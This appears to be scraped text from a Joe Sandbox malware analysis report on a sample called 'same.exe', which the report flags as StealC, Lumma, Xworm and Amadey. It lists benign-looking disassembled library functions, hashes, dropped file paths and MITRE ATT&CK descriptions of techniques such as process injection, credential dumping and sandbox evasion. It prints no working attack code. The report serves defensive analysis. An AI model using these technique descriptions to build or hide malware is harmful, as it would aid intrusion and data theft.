Instruction ID: a60cb1f0ad375bbcda126472b35d8d9b678a6292c0981a5fde39e37bc7319220
Opcode Fuzzy Hash: 27de58c899e5ec704506165461e8391578b65bc8aaaea6c3d9e6b20e61f1c2a0
Instruction Fuzzy Hash: 3FF04CFD6012025BEB008F54DE95817B758EF50798B108035ED089BB02E731D814C3E2

Function 6C87CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C87CC61
free.MOZGLUE ref: 6C87CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C87CC80
free.MOZGLUE(?), ref: 6C87CC87

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 3bd01ba2345bbed9ed262d6dd7d4ebdeb478e7d2a0531d0523fc08f9c5d46cc5
Instruction ID: e1944b4dcacc59d1740d0ed05882d35ab1d9af45d71470c9717c32b8ab51ae40
Opcode Fuzzy Hash: 3bd01ba2345bbed9ed262d6dd7d4ebdeb478e7d2a0531d0523fc08f9c5d46cc5
Instruction Fuzzy Hash: 25E065B6700608AFCA10EFA9DC44C8B77BCEE492743150535E691D3701D231F905CBE5

Function 6C759DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C759E1F

Part of subcall function 6C7113C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C6E2352,?,00000000,?,?), ref: 6C711413
Part of subcall function 6C7113C0: memcpy.VCRUNTIME140(00000000,R#nl,00000002,?,?,?,?,6C6E2352,?,00000000,?,?), ref: 6C7114C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6C75A006
ESCAPE expression must be a single character, xrefs: 6C759F78

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 224b0d21736f0def6b91d80cd73990a68a7ce82c5857a74a50552f52002c636f
Instruction ID: 48910460af8d5a3993741351eafa24933cc0acbc324dfe4460eb9a848a811f67
Opcode Fuzzy Hash: 224b0d21736f0def6b91d80cd73990a68a7ce82c5857a74a50552f52002c636f
Instruction Fuzzy Hash: C2812DB1A042554BD700CF39C2803AEB7F2AF55318F688679D8A99BBC1DB36D857C790

Function 6C7B4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7B4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C7B4DE6

Strings

%d.%d, xrefs: 6C7B4DDE

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 2919f926be5ba0860734e910d51a15658c9ad6b3f9f8bebbfdd1564e69a3ff2c
Instruction ID: 393fb4e90b5a5dad9bfd5f24a5b48f6e9a35a1a78b900d535c6eda0e564c0cca
Opcode Fuzzy Hash: 2919f926be5ba0860734e910d51a15658c9ad6b3f9f8bebbfdd1564e69a3ff2c
Instruction Fuzzy Hash: 1931BBB2D042196BEB605F659D0ABFF7768EF41308F050479ED15A7781EB309909CBE1

Function 6C7D4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8}l,00000000,00000000,?,?,6C7D3827,?,00000000), ref: 6C7D4D0A

Part of subcall function 6C7C0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C7D4D22

Part of subcall function 6C7BFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C761A3E,00000048,00000054), ref: 6C7BFD56

Strings

'8}l, xrefs: 6C7D4D07

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8}l
API String ID: 1521942269-3897349755
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 7d4a4bc470827734e395085ef74c22498774cfb3169535f8bb7f0e46b04ab347
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: ECF096726012256BEB104F6AEE85B4336DC9B4167DF1602B1EE2CCB781E631EC00D6E1

Function 6C7C0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C7C0DF5
TlsGetValue.KERNEL32 ref: 6C7C0E2D
TlsGetValue.KERNEL32 ref: 6C7C0E58
TlsGetValue.KERNEL32 ref: 6C7C0E84

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 73b33471772388a80812ffa4d88aa8c997adb9fc5dc154db2199d1fcebe31f3e
Instruction ID: 81e6238661f6cb21b4621a7dbed458edf6e7b37237cee3632b6f6975e6dcfdcf
Opcode Fuzzy Hash: 73b33471772388a80812ffa4d88aa8c997adb9fc5dc154db2199d1fcebe31f3e
Instruction Fuzzy Hash: 7631E3F07843828FDB10BF78C6886697BB8BF0530CF514639D89887A11EB349495CBC2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report same.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Xworm

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFBAAFHD

C:\ProgramData\CAEHCFCBKKJDGCAKFCFI

C:\ProgramData\DHCAAEBKEGHJKEBFHJDB

C:\ProgramData\EBAFHCBFHDHCAAKFHDGDBKFCGC

C:\ProgramData\FIEHIIIJ

Windows Analysis Report
same.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre